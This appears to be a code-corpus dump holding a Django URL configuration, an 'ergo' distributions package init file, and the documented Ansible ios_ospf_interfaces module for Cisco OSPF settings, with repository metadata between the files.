url(r'^modelreuserequest/(?P<model_id>[0-9]+)/$', views.MODELreuseREQUESTview, name='modelreuserequest'), url(r'^MODELfilled/(?P<submission_id>[0-9]+)/$', views.MODELview, name='MODELfilled'), #url(r'^ajax_pdbchecker/(?P<submission_id>[0-9]+)/$', views.pdbcheck, name='pdbcheck'), url(r'^search/$', SearchView(template='/protwis/sites/protwis/dynadb/templates/search/search.html', searchqueryset=sqs, form_class=MainSearchForm),name='haystack_search'), url(r'^ajaxsearch/',views.ajaxsearcher,name='ajaxsearcher'), url(r'^empty_search/',views.emptysearcher,name='emptysearcher'), url(r'^autocomplete/',views.autocomplete,name='autocomplete'), url(r'^advanced_search/$', views.NiceSearcher,name='NiceSearcher'), #url(r'^search_top/(?P<submission_id>[0-9]+)/$',views.search_top,name='search_top'), url(r'^dynamics/(?P<submission_id>[0-9]+)/$', views.DYNAMICSview, name='dynamics'), url(r'^dynamics/(?P<submission_id>[0-9]+)/(?:[0-9]+/)?upload_files/((?P<trajectory>traj)/)?$', views.upload_dynamics_files, name='dynamics_upload_files'), url(r'^dynamicsreuse/(?P<submission_id>[0-9]+)/(?:[0-9]+/)?upload_files/((?P<trajectory>traj)/)?$', views.upload_dynamics_files, name='dynamics_upload_files'), url(r'^dynamics/(?P<submission_id>[0-9]+)/check_trajectories/$', views.check_trajectories, name='dynamics_check_trajectories'), url(r'^dynamics/do_analysis/$', views.do_analysis, name='do_analysis'), # url(r'^dynamicsreuse/(?P<submission_id>[0-9]+)/(?P<model_id>[0-9]+)/$', views.DYNAMICSreuseview, name='dynamicsreuse'), url(r'^dynamicsreuse/(?P<submission_id>[0-9]+)/(?P<model_id>[0-9]+)/$', views.DYNAMICSview, name='dynamicsreuse'), url(r'^DYNAMICSfilled/(?P<submission_id>[0-9]+)/$', views.DYNAMICSview, name='DYNAMICSfilled'), #url(r'^form/$', views.get_formup, name='form'), url(r'^model/carousel/(?P<model_id>[0-9]+)/$', views.carousel_model_components, name='carousel_model_components'), url(r'^dynamics/carousel/(?P<dynamics_id>[0-9]+)/$', views.carousel_dynamics_components, name='carousel_dynamics_components'), #url(r'^files/(?P<path>.*)$', 'django.views.static.serve', {'document_root': settings.MEDIA_ROOT,}), #this line shouldnt be here url(r'^submitted/(?P<submission_id>[0-9]+)/$', views.SUBMITTEDview, name='submitted'), url(r'^close_submission/(?P<submission_id>[0-9]+)/$', views.close_submission, name='close_submission'), url(r'^datasets/$', views.datasets, name='datasets'), url(r'^table/$', views.table, name='table'), url(r'^blank/$', TemplateView.as_view(template_name="dynadb/blank.html"), name='blank'),] # url(r'^some_temp/$', views.some_view, name='some_temp') # url(r'^prueba_varios/$', views.profile_setting, name='PRUEBA_varios'), if settings.DEBUG: urlpatterns += patterns('', url(r'^files/(?P<path>.*)$', 'django.views.static.serve', { 'document_root': settings.MEDIA_ROOT, }), url(r'^static/(?P<path>.*)$', 'django.views.static.serve', { 'document_root': settings.STATIC_ROOT, }), ) else: if settings.FILES_NO_LOGIN: serve_files_func = views.serve_submission_files_no_login else: serve_files_func = views.serve_submission_files urlpatterns += patterns('', url(r'^files/(?P<obj_folder>[^/\\]+)/(?P<submission_folder>[^/\\]+)/(?P<path>.*)$', serve_files_func, name='serve_submission_files'), )

0

d4cb5753e8a045ecd7c806eb722ce2b1fd1f670b

534

py

Python

ergo/distributions/__init__.py

bmillwood/ergo

34be736f1979ad7f1f130bb90728270cb58dbfe8

[ "MIT" ]

2

2020-06-04T17:06:51.000Z

2021-01-03T04:41:05.000Z

ergo/distributions/__init__.py

bmillwood/ergo

34be736f1979ad7f1f130bb90728270cb58dbfe8

[ "MIT" ]

null

ergo/distributions/__init__.py

bmillwood/ergo

34be736f1979ad7f1f130bb90728270cb58dbfe8

[ "MIT" ]

null

from .base import ( BetaFromHits, Categorical, LogNormalFromInterval, NormalFromInterval, bernoulli, beta, beta_from_hits, categorical, flip, halfnormal, halfnormal_from_interval, lognormal, lognormal_from_interval, normal, normal_from_interval, random_choice, random_integer, uniform, ) from .distribution import Distribution from .histogram import HistogramDist from .location_scale_family import Logistic, Normal from .logistic_mixture import LogisticMixture

21.36

51

0.741573

from .base import ( BetaFromHits, Categorical, LogNormalFromInterval, NormalFromInterval, bernoulli, beta, beta_from_hits, categorical, flip, halfnormal, halfnormal_from_interval, lognormal, lognormal_from_interval, normal, normal_from_interval, random_choice, random_integer, uniform, ) from .distribution import Distribution from .histogram import HistogramDist from .location_scale_family import Logistic, Normal from .logistic_mixture import LogisticMixture

0

dd87d93ed2081ca8d1584e8406400f689a4774e3

34,776

py

Python

venv/lib/python3.6/site-packages/ansible_collections/cisco/ios/plugins/modules/ios_ospf_interfaces.py

usegalaxy-no/usegalaxy

75dad095769fe918eb39677f2c887e681a747f3a

[ "MIT" ]

1

2020-01-22T13:11:23.000Z

venv/lib/python3.6/site-packages/ansible_collections/cisco/ios/plugins/modules/ios_ospf_interfaces.py

usegalaxy-no/usegalaxy

75dad095769fe918eb39677f2c887e681a747f3a

[ "MIT" ]

12

2020-02-21T07:24:52.000Z

2020-04-14T09:54:32.000Z

venv/lib/python3.6/site-packages/ansible_collections/cisco/ios/plugins/modules/ios_ospf_interfaces.py

usegalaxy-no/usegalaxy

75dad095769fe918eb39677f2c887e681a747f3a

[ "MIT" ]

null

#!/usr/bin/python # # -*- coding: utf-8 -*- # Copyright 2020 Red Hat # GNU General Public License v3.0+ # (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt) ############################################# # WARNING # ############################################# # # This file is auto generated by the resource # module builder playbook. # # Do not edit this file manually. # # Changes to this file will be over written # by the resource module builder. # # Changes should be made in the model used to # generate this file or in the resource module # builder template. # ############################################# """ The module file for ios_ospf_interfaces """ from __future__ import absolute_import, division, print_function __metaclass__ = type DOCUMENTATION = """ module: ios_ospf_interfaces short_description: OSPF_Interfaces resource module description: This module configures and manages the Open Shortest Path First (OSPF) version 2 on IOS platforms. version_added: 1.0.0 author: Sumit Jaiswal (@justjais) notes: - Tested against Cisco IOSv Version 15.2 on VIRL. - This module works with connection C(network_cli). See U(https://docs.ansible.com/ansible/latest/network/user_guide/platform_ios.html) options: config: description: A dictionary of OSPF interfaces options. type: list elements: dict suboptions: name: description: - Full name of the interface excluding any logical unit number, i.e. GigabitEthernet0/1. type: str required: true address_family: description: - OSPF interfaces settings on the interfaces in address-family context. type: list elements: dict suboptions: afi: description: - Address Family Identifier (AFI) for OSPF interfaces settings on the interfaces. type: str choices: - ipv4 - ipv6 required: true process: description: OSPF interfaces process config type: dict suboptions: id: description: - Address Family Identifier (AFI) for OSPF interfaces settings on the interfaces. Please refer vendor documentation of Valid values. type: int area_id: description: - OSPF interfaces area ID as a decimal value. Please refer vendor documentation of Valid values. - OSPF interfaces area ID in IP address format(e.g. A.B.C.D) type: str secondaries: description: - Include or exclude secondary IP addresses. - Valid only with IPv4 config type: bool instance_id: description: - Set the OSPF instance based on ID - Valid only with IPv6 OSPF config type: int adjacency: description: Adjacency staggering type: bool authentication: description: Enable authentication type: dict suboptions: key_chain: description: Use a key-chain for cryptographic authentication keys type: str message_digest: description: Use message-digest authentication type: bool 'null': description: Use no authentication type: bool bfd: description: - BFD configuration commands - Enable/Disable BFD on this interface type: bool cost: description: Interface cost type: dict suboptions: interface_cost: description: Interface cost or Route cost of this interface type: int dynamic_cost: description: - Specify dynamic cost options - Valid only with IPv6 OSPF config type: dict suboptions: default: description: Specify default link metric value type: int hysteresis: description: Specify hysteresis value for LSA dampening type: dict suboptions: percent: description: Specify hysteresis percent changed. Please refer vendor documentation of Valid values. type: int threshold: description: Specify hysteresis threshold value. Please refer vendor documentation of Valid values. type: int weight: description: Specify weight to be placed on individual metrics type: dict suboptions: l2_factor: description: - Specify weight to be given to L2-factor metric - Percentage weight of L2-factor metric. Please refer vendor documentation of Valid values. type: int latency: description: - Specify weight to be given to latency metric. - Percentage weight of latency metric. Please refer vendor documentation of Valid values. type: int oc: description: - Specify weight to be given to cdr/mdr for oc - Give 100 percent weightage for current data rate(0 for maxdatarate) type: bool resources: description: - Specify weight to be given to resources metric - Percentage weight of resources metric. Please refer vendor documentation of Valid values. type: int throughput: description: - Specify weight to be given to throughput metric - Percentage weight of throughput metric. Please refer vendor documentation of Valid values. type: int database_filter: description: Filter OSPF LSA during synchronization and flooding type: bool dead_interval: description: Interval after which a neighbor is declared dead type: dict suboptions: time: description: time in seconds type: int minimal: description: - Set to 1 second and set multiplier for Hellos - Number of Hellos sent within 1 second. Please refer vendor documentation of Valid values. - Valid only with IP OSPF config type: int demand_circuit: description: OSPF Demand Circuit, enable or disable the demand circuit' type: dict suboptions: enable: description: Enable Demand Circuit type: bool ignore: description: Ignore demand circuit auto-negotiation requests type: bool disable: description: - Disable demand circuit on this interface - Valid only with IPv6 OSPF config type: bool flood_reduction: description: OSPF Flood Reduction type: bool hello_interval: description: - Time between HELLO packets - Please refer vendor documentation of Valid values. type: int lls: description: - Link-local Signaling (LLS) support - Valid only with IP OSPF config type: bool manet: description: - Mobile Adhoc Networking options - MANET Peering options - Valid only with IPv6 OSPF config type: dict suboptions: cost: description: Redundant path cost improvement required to peer type: dict suboptions: percent: description: Relative incremental path cost. Please refer vendor documentation of Valid values. type: int threshold: description: Absolute incremental path cost. Please refer vendor documentation of Valid values. type: int link_metrics: description: Redundant path cost improvement required to peer type: dict suboptions: set: description: Enable link-metrics type: bool cost_threshold: description: Minimum link cost threshold. Please refer vendor documentation of Valid values. type: int mtu_ignore: description: Ignores the MTU in DBD packets type: bool multi_area: description: - Set the OSPF multi-area ID - Valid only with IP OSPF config type: dict suboptions: id: description: - OSPF multi-area ID as a decimal value. Please refer vendor documentation of Valid values. - OSPF multi-area ID in IP address format(e.g. A.B.C.D) type: int cost: description: Interface cost type: int neighbor: description: - OSPF neighbor link-local IPv6 address (X:X:X:X::X) - Valid only with IPv6 OSPF config type: dict suboptions: address: description: Neighbor link-local IPv6 address type: str cost: description: OSPF cost for point-to-multipoint neighbor type: int database_filter: description: Filter OSPF LSA during synchronization and flooding for point-to-multipoint neighbor type: bool poll_interval: description: OSPF dead-router polling interval type: int priority: description: OSPF priority of non-broadcast neighbor type: int network: description: Network type type: dict suboptions: broadcast: description: Specify OSPF broadcast multi-access network type: bool manet: description: - Specify MANET OSPF interface type - Valid only with IPv6 OSPF config type: bool non_broadcast: description: Specify OSPF NBMA network type: bool point_to_multipoint: description: Specify OSPF point-to-multipoint network type: bool point_to_point: description: Specify OSPF point-to-point network type: bool prefix_suppression: description: Enable/Disable OSPF prefix suppression type: bool priority: description: Router priority. Please refer vendor documentation of Valid values. type: int resync_timeout: description: Interval after which adjacency is reset if oob-resync is not started. Please refer vendor documentation of Valid values. type: int retransmit_interval: description: Time between retransmitting lost link state advertisements. Please refer vendor documentation of Valid values. type: int shutdown: description: Set OSPF protocol's state to disable under current interface type: bool transmit_delay: description: Link state transmit delay. Please refer vendor documentation of Valid values. type: int ttl_security: description: - TTL security check - Valid only with IPV4 OSPF config type: dict suboptions: set: description: Enable TTL Security on all interfaces type: bool hops: description: - Maximum number of IP hops allowed - Please refer vendor documentation of Valid values. type: int running_config: description: - This option is used only with state I(parsed). - The value of this option should be the output received from the IOS device by executing the command B(sh running-config | section ^interface). - The state I(parsed) reads the configuration from C(running_config) option and transforms it into Ansible structured data as per the resource module's argspec and the value is then returned in the I(parsed) key within the result. type: str state: description: - The state the configuration should be left in - The states I(rendered), I(gathered) and I(parsed) does not perform any change on the device. - The state I(rendered) will transform the configuration in C(config) option to platform specific CLI commands which will be returned in the I(rendered) key within the result. For state I(rendered) active connection to remote host is not required. - The state I(gathered) will fetch the running configuration from device and transform it into structured data in the format as per the resource module argspec and the value is returned in the I(gathered) key within the result. - The state I(parsed) reads the configuration from C(running_config) option and transforms it into JSON format as per the resource module parameters and the value is returned in the I(parsed) key within the result. The value of C(running_config) option should be the same format as the output of command I(show running-config | include ip route|ipv6 route) executed on device. For state I(parsed) active connection to remote host is not required. type: str choices: - merged - replaced - overridden - deleted - gathered - rendered - parsed default: merged """ EXAMPLES = """ # Using deleted # Before state: # ------------- # # router-ios#sh running-config | section ^interface # interface GigabitEthernet0/0 # interface GigabitEthernet0/1 # ipv6 ospf 55 area 105 # ipv6 ospf priority 20 # ipv6 ospf transmit-delay 30 # ipv6 ospf adjacency stagger disable # interface GigabitEthernet0/2 # ip ospf priority 40 # ip ospf adjacency stagger disable # ip ospf ttl-security hops 50 # ip ospf 10 area 20 # ip ospf cost 30 - name: Delete provided OSPF Interface config cisco.ios.ios_ospf_interfaces: config: - name: GigabitEthernet0/1 state: deleted # Commands Fired: # --------------- # # "commands": [ # "interface GigabitEthernet0/1", # "no ipv6 ospf 55 area 105", # "no ipv6 ospf adjacency stagger disable", # "no ipv6 ospf priority 20", # "no ipv6 ospf transmit-delay 30" # ] # After state: # ------------- # router-ios#sh running-config | section ^interface # interface GigabitEthernet0/0 # interface GigabitEthernet0/1 # interface GigabitEthernet0/2 # ip ospf priority 40 # ip ospf adjacency stagger disable # ip ospf ttl-security hops 50 # ip ospf 10 area 20 # ip ospf cost 30 # Using deleted without any config passed (NOTE: This will delete all OSPF Interfaces configuration from device) # Before state: # ------------- # # router-ios#sh running-config | section ^interface # interface GigabitEthernet0/0 # interface GigabitEthernet0/1 # ipv6 ospf 55 area 105 # ipv6 ospf priority 20 # ipv6 ospf transmit-delay 30 # ipv6 ospf adjacency stagger disable # interface GigabitEthernet0/2 # ip ospf priority 40 # ip ospf adjacency stagger disable # ip ospf ttl-security hops 50 # ip ospf 10 area 20 # ip ospf cost 30 - name: Delete all OSPF config from interfaces cisco.ios.ios_ospf_interfaces: state: deleted # Commands Fired: # --------------- # # "commands": [ # "interface GigabitEthernet0/2", # "no ip ospf 10 area 20", # "no ip ospf adjacency stagger disable", # "no ip ospf cost 30", # "no ip ospf priority 40", # "no ip ospf ttl-security hops 50", # "interface GigabitEthernet0/1", # "no ipv6 ospf 55 area 105", # "no ipv6 ospf adjacency stagger disable", # "no ipv6 ospf priority 20", # "no ipv6 ospf transmit-delay 30" # ] # After state: # ------------- # router-ios#sh running-config | section ^interface # interface GigabitEthernet0/0 # interface GigabitEthernet0/1 # interface GigabitEthernet0/2 # Using merged # Before state: # ------------- # # router-ios#sh running-config | section ^interface # router-ios# - name: Merge provided OSPF Interfaces configuration cisco.ios.ios_ospf_interfaces: config: - name: GigabitEthernet0/1 address_family: - afi: ipv4 process: id: 10 area_id: 30 adjacency: true bfd: true cost: interface_cost: 5 dead_interval: time: 5 demand_circuit: ignore: true network: broadcast: true priority: 25 resync_timeout: 10 shutdown: true ttl_security: hops: 50 - afi: ipv6 process: id: 35 area_id: 45 adjacency: true database_filter: true manet: link_metrics: cost_threshold: 10 priority: 55 transmit_delay: 45 state: merged # Commands Fired: # --------------- # # "commands": [ # "interface GigabitEthernet0/1", # "ip ospf 10 area 30", # "ip ospf adjacency stagger disable", # "ip ospf bfd", # "ip ospf cost 5", # "ip ospf dead-interval 5", # "ip ospf demand-circuit ignore", # "ip ospf network broadcast", # "ip ospf priority 25", # "ip ospf resync-timeout 10", # "ip ospf shutdown", # "ip ospf ttl-security hops 50", # "ipv6 ospf 35 area 45", # "ipv6 ospf adjacency stagger disable", # "ipv6 ospf database-filter all out", # "ipv6 ospf manet peering link-metrics 10", # "ipv6 ospf priority 55", # "ipv6 ospf transmit-delay 45" # ] # After state: # ------------- # # router-ios#sh running-config | section ^interface # interface GigabitEthernet0/0 # interface GigabitEthernet0/1 # ip ospf network broadcast # ip ospf resync-timeout 10 # ip ospf dead-interval 5 # ip ospf priority 25 # ip ospf demand-circuit ignore # ip ospf bfd # ip ospf adjacency stagger disable # ip ospf ttl-security hops 50 # ip ospf shutdown # ip ospf 10 area 30 # ip ospf cost 5 # ipv6 ospf 35 area 45 # ipv6 ospf priority 55 # ipv6 ospf transmit-delay 45 # ipv6 ospf database-filter all out # ipv6 ospf adjacency stagger disable # ipv6 ospf manet peering link-metrics 10 # interface GigabitEthernet0/2 # Using overridden # Before state: # ------------- # # router-ios#sh running-config | section ^interface # interface GigabitEthernet0/0 # interface GigabitEthernet0/1 # ip ospf network broadcast # ip ospf resync-timeout 10 # ip ospf dead-interval 5 # ip ospf priority 25 # ip ospf demand-circuit ignore # ip ospf bfd # ip ospf adjacency stagger disable # ip ospf ttl-security hops 50 # ip ospf shutdown # ip ospf 10 area 30 # ip ospf cost 5 # ipv6 ospf 35 area 45 # ipv6 ospf priority 55 # ipv6 ospf transmit-delay 45 # ipv6 ospf database-filter all out # ipv6 ospf adjacency stagger disable # ipv6 ospf manet peering link-metrics 10 # interface GigabitEthernet0/2 - name: Override provided OSPF Interfaces configuration cisco.ios.ios_ospf_interfaces: config: - name: GigabitEthernet0/1 address_family: - afi: ipv6 process: id: 55 area_id: 105 adjacency: true priority: 20 transmit_delay: 30 - name: GigabitEthernet0/2 address_family: - afi: ipv4 process: id: 10 area_id: 20 adjacency: true cost: interface_cost: 30 priority: 40 ttl_security: hops: 50 state: overridden # Commands Fired: # --------------- # # "commands": [ # "interface GigabitEthernet0/2", # "ip ospf 10 area 20", # "ip ospf adjacency stagger disable", # "ip ospf cost 30", # "ip ospf priority 40", # "ip ospf ttl-security hops 50", # "interface GigabitEthernet0/1", # "ipv6 ospf 55 area 105", # "no ipv6 ospf database-filter all out", # "no ipv6 ospf manet peering link-metrics 10", # "ipv6 ospf priority 20", # "ipv6 ospf transmit-delay 30", # "no ip ospf 10 area 30", # "no ip ospf adjacency stagger disable", # "no ip ospf bfd", # "no ip ospf cost 5", # "no ip ospf dead-interval 5", # "no ip ospf demand-circuit ignore", # "no ip ospf network broadcast", # "no ip ospf priority 25", # "no ip ospf resync-timeout 10", # "no ip ospf shutdown", # "no ip ospf ttl-security hops 50" # ] # After state: # ------------- # # router-ios#sh running-config | section ^interface # interface GigabitEthernet0/0 # interface GigabitEthernet0/1 # ipv6 ospf 55 area 105 # ipv6 ospf priority 20 # ipv6 ospf transmit-delay 30 # ipv6 ospf adjacency stagger disable # interface GigabitEthernet0/2 # ip ospf priority 40 # ip ospf adjacency stagger disable # ip ospf ttl-security hops 50 # ip ospf 10 area 20 # ip ospf cost 30 # Using replaced # Before state: # ------------- # # router-ios#sh running-config | section ^interface # interface GigabitEthernet0/0 # interface GigabitEthernet0/1 # ip ospf network broadcast # ip ospf resync-timeout 10 # ip ospf dead-interval 5 # ip ospf priority 25 # ip ospf demand-circuit ignore # ip ospf bfd # ip ospf adjacency stagger disable # ip ospf ttl-security hops 50 # ip ospf shutdown # ip ospf 10 area 30 # ip ospf cost 5 # ipv6 ospf 35 area 45 # ipv6 ospf priority 55 # ipv6 ospf transmit-delay 45 # ipv6 ospf database-filter all out # ipv6 ospf adjacency stagger disable # ipv6 ospf manet peering link-metrics 10 # interface GigabitEthernet0/2 - name: Replaced provided OSPF Interfaces configuration cisco.ios.ios_ospf_interfaces: config: - name: GigabitEthernet0/2 address_family: - afi: ipv6 process: id: 55 area_id: 105 adjacency: true priority: 20 transmit_delay: 30 state: replaced # Commands Fired: # --------------- # "commands": [ # "interface GigabitEthernet0/2", # "ipv6 ospf 55 area 105", # "ipv6 ospf adjacency stagger disable", # "ipv6 ospf priority 20", # "ipv6 ospf transmit-delay 30" # ] # After state: # ------------- # router-ios#sh running-config | section ^interface # interface GigabitEthernet0/0 # interface GigabitEthernet0/1 # ip ospf network broadcast # ip ospf resync-timeout 10 # ip ospf dead-interval 5 # ip ospf priority 25 # ip ospf demand-circuit ignore # ip ospf bfd # ip ospf adjacency stagger disable # ip ospf ttl-security hops 50 # ip ospf shutdown # ip ospf 10 area 30 # ip ospf cost 5 # ipv6 ospf 35 area 45 # ipv6 ospf priority 55 # ipv6 ospf transmit-delay 45 # ipv6 ospf database-filter all out # ipv6 ospf adjacency stagger disable # ipv6 ospf manet peering link-metrics 10 # interface GigabitEthernet0/2 # ipv6 ospf 55 area 105 # ipv6 ospf priority 20 # ipv6 ospf transmit-delay 30 # ipv6 ospf adjacency stagger disable # Using Gathered # Before state: # ------------- # # router-ios#sh running-config | section ^interface # interface GigabitEthernet0/0 # interface GigabitEthernet0/1 # ip ospf network broadcast # ip ospf resync-timeout 10 # ip ospf dead-interval 5 # ip ospf priority 25 # ip ospf demand-circuit ignore # ip ospf bfd # ip ospf adjacency stagger disable # ip ospf ttl-security hops 50 # ip ospf shutdown # ip ospf 10 area 30 # ip ospf cost 5 # ipv6 ospf 35 area 45 # ipv6 ospf priority 55 # ipv6 ospf transmit-delay 45 # ipv6 ospf database-filter all out # ipv6 ospf adjacency stagger disable # ipv6 ospf manet peering link-metrics 10 # interface GigabitEthernet0/2 - name: Gather OSPF Interfaces provided configurations cisco.ios.ios_ospf_interfaces: config: state: gathered # Module Execution Result: # ------------------------ # # "gathered": [ # { # "name": "GigabitEthernet0/2" # }, # { # "address_family": [ # { # "adjacency": true, # "afi": "ipv4", # "bfd": true, # "cost": { # "interface_cost": 5 # }, # "dead_interval": { # "time": 5 # }, # "demand_circuit": { # "ignore": true # }, # "network": { # "broadcast": true # }, # "priority": 25, # "process": { # "area_id": "30", # "id": 10 # }, # "resync_timeout": 10, # "shutdown": true, # "ttl_security": { # "hops": 50 # } # }, # { # "adjacency": true, # "afi": "ipv6", # "database_filter": true, # "manet": { # "link_metrics": { # "cost_threshold": 10 # } # }, # "priority": 55, # "process": { # "area_id": "45", # "id": 35 # }, # "transmit_delay": 45 # } # ], # "name": "GigabitEthernet0/1" # }, # { # "name": "GigabitEthernet0/0" # } # ] # After state: # ------------ # # router-ios#sh running-config | section ^interface # interface GigabitEthernet0/0 # interface GigabitEthernet0/1 # ip ospf network broadcast # ip ospf resync-timeout 10 # ip ospf dead-interval 5 # ip ospf priority 25 # ip ospf demand-circuit ignore # ip ospf bfd # ip ospf adjacency stagger disable # ip ospf ttl-security hops 50 # ip ospf shutdown # ip ospf 10 area 30 # ip ospf cost 5 # ipv6 ospf 35 area 45 # ipv6 ospf priority 55 # ipv6 ospf transmit-delay 45 # ipv6 ospf database-filter all out # ipv6 ospf adjacency stagger disable # ipv6 ospf manet peering link-metrics 10 # interface GigabitEthernet0/2 # Using Rendered - name: Render the commands for provided configuration cisco.ios.ios_ospf_interfaces: config: - name: GigabitEthernet0/1 address_family: - afi: ipv4 process: id: 10 area_id: 30 adjacency: true bfd: true cost: interface_cost: 5 dead_interval: time: 5 demand_circuit: ignore: true network: broadcast: true priority: 25 resync_timeout: 10 shutdown: true ttl_security: hops: 50 - afi: ipv6 process: id: 35 area_id: 45 adjacency: true database_filter: true manet: link_metrics: cost_threshold: 10 priority: 55 transmit_delay: 45 state: rendered # Module Execution Result: # ------------------------ # # "rendered": [ # "interface GigabitEthernet0/1", # "ip ospf 10 area 30", # "ip ospf adjacency stagger disable", # "ip ospf bfd", # "ip ospf cost 5", # "ip ospf dead-interval 5", # "ip ospf demand-circuit ignore", # "ip ospf network broadcast", # "ip ospf priority 25", # "ip ospf resync-timeout 10", # "ip ospf shutdown", # "ip ospf ttl-security hops 50", # "ipv6 ospf 35 area 45", # "ipv6 ospf adjacency stagger disable", # "ipv6 ospf database-filter all out", # "ipv6 ospf manet peering link-metrics 10", # "ipv6 ospf priority 55", # "ipv6 ospf transmit-delay 45" # ] # Using Parsed # File: parsed.cfg # ---------------- # # interface GigabitEthernet0/2 # interface GigabitEthernet0/1 # ip ospf network broadcast # ip ospf resync-timeout 10 # ip ospf dead-interval 5 # ip ospf priority 25 # ip ospf demand-circuit ignore # ip ospf bfd # ip ospf adjacency stagger disable # ip ospf ttl-security hops 50 # ip ospf shutdown # ip ospf 10 area 30 # ip ospf cost 5 # ipv6 ospf 35 area 45 # ipv6 ospf priority 55 # ipv6 ospf transmit-delay 45 # ipv6 ospf database-filter all out # ipv6 ospf adjacency stagger disable # ipv6 ospf manet peering link-metrics 10 # interface GigabitEthernet0/0 - name: Parse the provided configuration with the existing running configuration cisco.ios.ios_ospf_interfaces: running_config: "{{ lookup('file', 'parsed.cfg') }}" state: parsed # Module Execution Result: # ------------------------ # # "parsed": [ # }, # { # "name": "GigabitEthernet0/2" # }, # { # "address_family": [ # { # "adjacency": true, # "afi": "ipv4", # "bfd": true, # "cost": { # "interface_cost": 5 # }, # "dead_interval": { # "time": 5 # }, # "demand_circuit": { # "ignore": true # }, # "network": { # "broadcast": true # }, # "priority": 25, # "process": { # "area_id": "30", # "id": 10 # }, # "resync_timeout": 10, # "shutdown": true, # "ttl_security": { # "hops": 50 # } # }, # { # "adjacency": true, # "afi": "ipv6", # "database_filter": true, # "manet": { # "link_metrics": { # "cost_threshold": 10 # } # }, # "priority": 55, # "process": { # "area_id": "45", # "id": 35 # }, # "transmit_delay": 45 # } # ], # "name": "GigabitEthernet0/1" # }, # { # "name": "GigabitEthernet0/0" # } # ] """ RETURN = """ before: description: The configuration prior to the model invocation. returned: always sample: > The configuration returned will always be in the same format of the parameters above. type: dict after: description: The resulting configuration model invocation. returned: when changed sample: > The configuration returned will always be in the same format of the parameters above. type: dict commands: description: The set of commands pushed to the remote device. returned: always type: list sample: ['interface GigabitEthernet0/1', 'ip ospf 10 area 30', 'ip ospf cost 5', 'ip ospf priority 25'] """ from ansible.module_utils.basic import AnsibleModule from ansible_collections.cisco.ios.plugins.module_utils.network.ios.argspec.ospf_interfaces.ospf_interfaces import ( Ospf_InterfacesArgs, ) from ansible_collections.cisco.ios.plugins.module_utils.network.ios.config.ospf_interfaces.ospf_interfaces import ( Ospf_Interfaces, ) def main(): """ Main entry point for module execution :returns: the result form module invocation """ required_if = [ ("state", "merged", ("config",)), ("state", "replaced", ("config",)), ("state", "overridden", ("config",)), ("state", "rendered", ("config",)), ("state", "parsed", ("running_config",)), ] mutually_exclusive = [("config", "running_config")] module = AnsibleModule( argument_spec=Ospf_InterfacesArgs.argument_spec, required_if=required_if, mutually_exclusive=mutually_exclusive, supports_check_mode=True, ) result = Ospf_Interfaces(module).execute_module() module.exit_json(**result) if __name__ == "__main__": main()

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#!/usr/bin/python # # -*- coding: utf-8 -*- # Copyright 2020 Red Hat # GNU General Public License v3.0+ # (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt) ############################################# # WARNING # ############################################# # # This file is auto generated by the resource # module builder playbook. # # Do not edit this file manually. # # Changes to this file will be over written # by the resource module builder. # # Changes should be made in the model used to # generate this file or in the resource module # builder template. # ############################################# """ The module file for ios_ospf_interfaces """ from __future__ import absolute_import, division, print_function __metaclass__ = type DOCUMENTATION = """ module: ios_ospf_interfaces short_description: OSPF_Interfaces resource module description: This module configures and manages the Open Shortest Path First (OSPF) version 2 on IOS platforms. version_added: 1.0.0 author: Sumit Jaiswal (@justjais) notes: - Tested against Cisco IOSv Version 15.2 on VIRL. - This module works with connection C(network_cli). See U(https://docs.ansible.com/ansible/latest/network/user_guide/platform_ios.html) options: config: description: A dictionary of OSPF interfaces options. type: list elements: dict suboptions: name: description: - Full name of the interface excluding any logical unit number, i.e. GigabitEthernet0/1. type: str required: true address_family: description: - OSPF interfaces settings on the interfaces in address-family context. type: list elements: dict suboptions: afi: description: - Address Family Identifier (AFI) for OSPF interfaces settings on the interfaces. type: str choices: - ipv4 - ipv6 required: true process: description: OSPF interfaces process config type: dict suboptions: id: description: - Address Family Identifier (AFI) for OSPF interfaces settings on the interfaces. Please refer vendor documentation of Valid values. type: int area_id: description: - OSPF interfaces area ID as a decimal value. Please refer vendor documentation of Valid values. - OSPF interfaces area ID in IP address format(e.g. A.B.C.D) type: str secondaries: description: - Include or exclude secondary IP addresses. - Valid only with IPv4 config type: bool instance_id: description: - Set the OSPF instance based on ID - Valid only with IPv6 OSPF config type: int adjacency: description: Adjacency staggering type: bool authentication: description: Enable authentication type: dict suboptions: key_chain: description: Use a key-chain for cryptographic authentication keys type: str message_digest: description: Use message-digest authentication type: bool 'null': description: Use no authentication type: bool bfd: description: - BFD configuration commands - Enable/Disable BFD on this interface type: bool cost: description: Interface cost type: dict suboptions: interface_cost: description: Interface cost or Route cost of this interface type: int dynamic_cost: description: - Specify dynamic cost options - Valid only with IPv6 OSPF config type: dict suboptions: default: description: Specify default link metric value type: int hysteresis: description: Specify hysteresis value for LSA dampening type: dict suboptions: percent: description: Specify hysteresis percent changed. Please refer vendor documentation of Valid values. type: int threshold: description: Specify hysteresis threshold value. Please refer vendor documentation of Valid values. type: int weight: description: Specify weight to be placed on individual metrics type: dict suboptions: l2_factor: description: - Specify weight to be given to L2-factor metric - Percentage weight of L2-factor metric. Please refer vendor documentation of Valid values. type: int latency: description: - Specify weight to be given to latency metric. - Percentage weight of latency metric. Please refer vendor documentation of Valid values. type: int oc: description: - Specify weight to be given to cdr/mdr for oc - Give 100 percent weightage for current data rate(0 for maxdatarate) type: bool resources: description: - Specify weight to be given to resources metric - Percentage weight of resources metric. Please refer vendor documentation of Valid values. type: int throughput: description: - Specify weight to be given to throughput metric - Percentage weight of throughput metric. Please refer vendor documentation of Valid values. type: int database_filter: description: Filter OSPF LSA during synchronization and flooding type: bool dead_interval: description: Interval after which a neighbor is declared dead type: dict suboptions: time: description: time in seconds type: int minimal: description: - Set to 1 second and set multiplier for Hellos - Number of Hellos sent within 1 second. Please refer vendor documentation of Valid values. - Valid only with IP OSPF config type: int demand_circuit: description: OSPF Demand Circuit, enable or disable the demand circuit' type: dict suboptions: enable: description: Enable Demand Circuit type: bool ignore: description: Ignore demand circuit auto-negotiation requests type: bool disable: description: - Disable demand circuit on this interface - Valid only with IPv6 OSPF config type: bool flood_reduction: description: OSPF Flood Reduction type: bool hello_interval: description: - Time between HELLO packets - Please refer vendor documentation of Valid values. type: int lls: description: - Link-local Signaling (LLS) support - Valid only with IP OSPF config type: bool manet: description: - Mobile Adhoc Networking options - MANET Peering options - Valid only with IPv6 OSPF config type: dict 